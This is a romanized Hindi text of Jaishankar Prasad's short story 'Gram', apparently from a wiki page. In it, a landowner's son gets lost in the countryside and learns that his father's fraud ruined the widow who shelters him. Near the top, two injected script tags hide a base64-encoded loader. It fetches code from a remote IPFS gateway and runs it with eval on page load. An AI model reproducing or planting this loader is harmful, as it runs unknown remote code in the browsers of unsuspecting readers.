ग्राम -जयशंकर प्रसाद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tan! tan! tan! steshan par ghanti boli.

shravan-mas ki sandhya bhi kaisi manoharini hoti hai! megh-mala-vibhooshit gagan ki chhaya saghan rasal-kanan mean p d rahi hai! aandhiyari dhire-dhire apana adhikar poorv-gagan mean jamati huee, sushasanakarini maharani ke saman, vihang prajagan ko sukh-niketan mean shayan karane ki ajna de rahi hai. akasharoopi shasan-patr par prakriti ke hastakshar ke saman bijali ki rekha dikhaee p dati hai...gramy steshan par kahian ek-do dipalok dikhaee p data hai. pavan hare-hare nikunjoan mean se bhraman karata hua jhilli ke jhanakar ke sath bhari huee jhiloan mean laharoan ke sath khel raha hai. booandiyaan dhire-dhire gir rahi haian, jo joohi ki kaliyoan ko adrr karake pavan ko bhi shital kar rahi haian.

tho de samay mean varsha band ho gee. andhakar-roopi aanjan ke agrabhag-sthit alok ke saman chaturdashi ki lalima ko liye hue chandradev prachi mean hare-hare taruvaroan ki a d mean se apani kiran-prabha dikhane lage. pavan ki sanasanahat ke sath relaga di ka shabd sunaee p dane laga. signalar ne apana kary kiya. ghanta ka shabd us hare-bhare maidan mean gooanjane laga. yatri log apani gathari baandhate hue steshan par pahuanche. mahadaity ke lal-lal netroan ke saman aanjan-girinibh ianjin ka agrasthit rakt-alok dikhaee dene laga. pagaloan ke saman b dab dati huee apani dhun ki pakki relaga di steshan par pahuanch gee. dh dadh d yatri log utarane-chadhऩe lage. ek stri ki or dekhakar phatak ke bahar kh di huee do auratean-jo usaki saheli maloom deti haian-ro rahi haian, aur vah stri ek manushy ke sath rel mean baithane ko udyat hai. unaki krandan-dhvani se vah stri din-bhav se unaki or dekhati huee, bina samajhe hue, sekand klas ki ga di mean chadhऩe lagi; par usamean baithe hue baboo sahab- ‘yah doosara darja hai, isamean mat chadho’ kahate hue utar p de, aur apana hantar ghumate hue steshan se bahar hone ka udyog karane lage.

vilayati pik ka vrichis pahane, boot chadhaye, hantiang kot, dhani rang ka safa, aangreji hindustani ka mahasammelan baboo sahab ke aang par dikhaee p d raha hai. gaur varn, unnat lalat-usaki abha ko badha rahe haian. steshan mastar se samana hote hi shekahaiand karane ke uparant baboo sahab se batachit hone lagi.

steshan mastar-ap is vakt kahaan se a rahe haian?

mohan-kariandoan ne ilake mean b da g dab d macha rakkha hai, isaliye maian kusumapur-jo ki hamara ilaka hai-ianspekshan ke lie ja raha hooan.

steshan mastar-phir kab palatiyega?

mohan-do roj mean. achchha, gud ivaniang.

steshan mastar, jo lain-kliyar de chuke the, gud ivaniang karate hue apane aphis mean ghus gaye.

baboo mohanalal aangreji kathi se saje hue gho de par, jo poorv hi steshan par kh da tha, savar hokar chalate hue.

bhag 2

saralasvabhava gramavasini kulakaminigan ka sumadhur sangit dhire-dhire amr-kanan mean se nikalakar charoan or gooanj raha hai. andhakar gagan mean juganoo-tare chamak-chamak kar chitt ko chanchal kar rahe haian. gramin log apana hal kandhe par rakkhe, biraha gate hue, bailoan ki jo di ke sath, ghar ki or pratyavartan kar rahe haian.

ek vishal taruvar ki shakha mean jhoola p da hua hai, us par char mahilaean baithi haian, aur pachasoan usako gherakar gati huee ghoom rahi haian. jhoole ke peang ke sath ‘abaki savan siyaan ghar rahu re’ ki surili pachasoan kokil-kanth se nikali huee tan pashuganoan ko bhi mohit kar rahi hai. balikaean svachhand bhav se kri da kar rahi haian. akasmath ashv ke pad-shabd ne un sarala kaminiyoan ko chauanka diya. ve sab dekhati haian, to hamare poorv-parichit baboo mohanalal gho de ko rokakar us par se utar rahe haian. ve sab unaka bhesh dekhakar ghab da gayian aur apas mean kuchh iangit karake chup rah gayian.

baboo mohanalal ne nistabdhata ko bhang kiya, aur bole-bhadre! yahaan se kusumapur kitani door hai? aur kidhar se jana hoga? ek praudha ne socha ki ‘bhadre’ koee parihas-shabd to nahian hai, par vah kuchh kah n saki, keval ek or dikhakar boli-ihaan se dedh kos to bay, ihai paian dava jaee.

baboo mohanalal usi pagadandi se chale. chalate-chalate unhean bhram ho gaya, aur vah apani chhavani ka path chho dakar doosare marg se jane lage. megh ghir aye, jal veg se barasane laga, andhakar aur ghana ho gaya. bhatakate-bhatakate vah ek khet ke samip pahuanche; vahaan us hare-bhare khet mean ek ooancha aur b da machan tha, jo ki phoos se chhaya hua tha, aur samip hi mean ek chhota-sa kachcha makan tha.

us machan par balak aur balikaean baithi huee kolahal macha rahi thian. jal mean bhigate hue bhi mohanalal khet ke samip kh de hokar unake anand-kalarav ko shravan karane lage.

bhrant hone se unhean bahut samay vyatit ho gaya. ratri adhik bit gayi. kahaan thaharean? isi vichar mean vah kh de rahe, booandean kam ho gayian. itane mean ek balika apane malin vasan ke aanchal ki a d mean dip liye hue usi machan ki or jati huee dikhaee p di.

bhag 3

balika ki avastha 15 varsh ki hai. alok se usaka aang andhakar-ghan mean vidyullekha ki tarah chamak raha tha. yadyapi daridrata ne use malin kar rakkha hai, par eeshvariy sushama usake komal aang par apana nivas kiye hue hai. mohanalal ne gho da badhakar usase kuchh poochhana chaha, par sankuchit hokar thithak gaye. parantu poochhane ke atirikt doosara upay hi nahian tha. astu, rookhepan ke sath poochha-kusumapur ka rasta kidhar hai?

balika is bhavy moorti ko dekhakar dari, par sahas ke sath boli-maian nahian janati. aise saral netr-sanchalan se iangit karake usane ye shabd kahe ki yuvak ko krodh ke sthan mean hansi a gayi aur kahane laga-to jo janata ho, mujhe batalao, maian usase poochh looanga.

balika-hamari mata janati hoangi.

mohan-is samay tum kahaan jati ho?

balika-(machan ki or dikhakar) vahaan jo kee l dake haian, unamean se ek hamara bhaee hai, usi ko khilane jati hooan.

mohan-balak itani rat ko khet mean kyoan baitha hai?

balika-vah rat-bhar aur ladaqoan ke sath khet mean hi rahata hai.

mohan-tumhari maan kahaan hai?

balika-chaliye, maian liva chalati hooan.

itana kahakar balika apane bhaee ke pas gayi, aur usako khilakar tatha usake pas baithe hue ladaqoan ko bhi kuchh dekar usi kshudr-kutirabhimukh gaman karane lagi. mohanalal us sarala balika ke pichhe chale.

bhag 4

us kshudr kutir mean pahuanchane par ek stri mohanalal ko dikhaee p di, jisaki aangaprabha svarn-tuly thi, tejomay mukh-mandal, tatha eeshath unnat adhar abhiman se bhare hue the, avastha usaki 50 varsh se adhik thi. mohanalal ki antarik avastha, jo gramy jivan dekhane se kuchh badal chuki thi, us saral gambhir tejomay moorti ko dekh aur bhi saral vinayayukt ho gayi. usane jhukakar pranam kiya. stri ne ashirvad diya aur poochha-beta! kahaan se ate ho?

mohan-maian kusumapur jata tha, kintu rasta bhool gaya.......

‘kusumapur’ ka nam sunate hi stri ka mukh-mandal araktim ho gaya aur usake netr se do booand aansoo nikal aye. ve ashru karuna ke nahian kintu abhiman ke the.

mohanalal ashcharyanvit hokar dekh rahe the. unhoanne poochha-apako kusumapur ke nam se kshobh kyoan hua?

stri-beta! usaki b di katha hai, tum sunakar kya karoge?

mohan-nahian, maian sunana chahata hooan, yadi ap kripa karake sunavean.

stri-achchha, kuchh jalapan kar lo, tab sunaooangi.

pun: balika ki or dekhakar stri ne kaha-kuchh jal pine ko le ao.

ajna pate hi balika us kshudr grih ke ek mitti ke bartan mean se kuchh vastu nikal, use ek patr mean gholakar le ayi, aur mohanalal ke samane rakh diya. mohanalal us sharbat ko pan karake phoos ki chataee par baithakar stri ki katha sunane lage.

bhag 5

stri kahane lagi-hamare pati is prant ke gany bhoosvami the, aur vansh bhi ham logoan ka bahut uchch tha. jis gaanv ka abhi apane nam liya hai, vahi hamare pati ki pradhan jamiandari thi. karyavash kuandanalal namak ek mahajan se kuchh rrin liya gaya. kuchh bhi vichar n karane se unaka bahut rupaya badh gaya, aur jab aisi avastha pahuanchi to anek upay karake hamare pati dhan jutakar unake pas le gaye, tab us dhoort ne kaha-‘‘kya harj hai baboo sahab! ap ath roj mean ana, ham rupaya le leange, aur jo ghata hoga, use chho d deange, apaka ilaka phir jayaga, is samay rehananama bhi nahian mil raha hai.’’ usaka vishvas karake hamare pati phir baith rahe, aur usane kuchh bhi n poochha. unaki udarata ke karan vah sanchit dhan bhi tho da ho gaya, aur udhar usane dava karake ilaka-jo ki vah le lena chahata tha-bahut tho de rupaye mean nilam kara liya. phir hamare pati ke hriday mean, us ilake ke is bhaanti nikal jane ke karan, bahut chot pahuanchi, aur isi se unaki mrityu ho gayi. is dasha ke hone ke uparant ham log is doosare gaanv mean akar rahane lagian. yahaan ke zamiandar bahut dharmatma haian, unhoanne kuchh samany ‘kar’ par yah bhoomi di hai, isi se ab hamari jivika hai. .........

itana kahate-kahate stri ka gala abhiman se bhar aya aur kuchh kah n saki.

stri ki katha ko sunakar mohanalal ko b da du:kh hua. rat vishesh bit chuki thi, at: ratri-yapan karake, prabhat mean malin tatha pashchimagami chandr ka anusaran karake, bataye hue path se vah chale gaye.

par unake mukh par vishad tatha lajja ne adhikar kar liya tha. karan yah tha ki stri ki jamiandari haran karane vale, tatha usake pranapriy pati se use vichchhed karakar is bhaanti du:kh dene vale kuandanalal mohanalal ke hi pita the.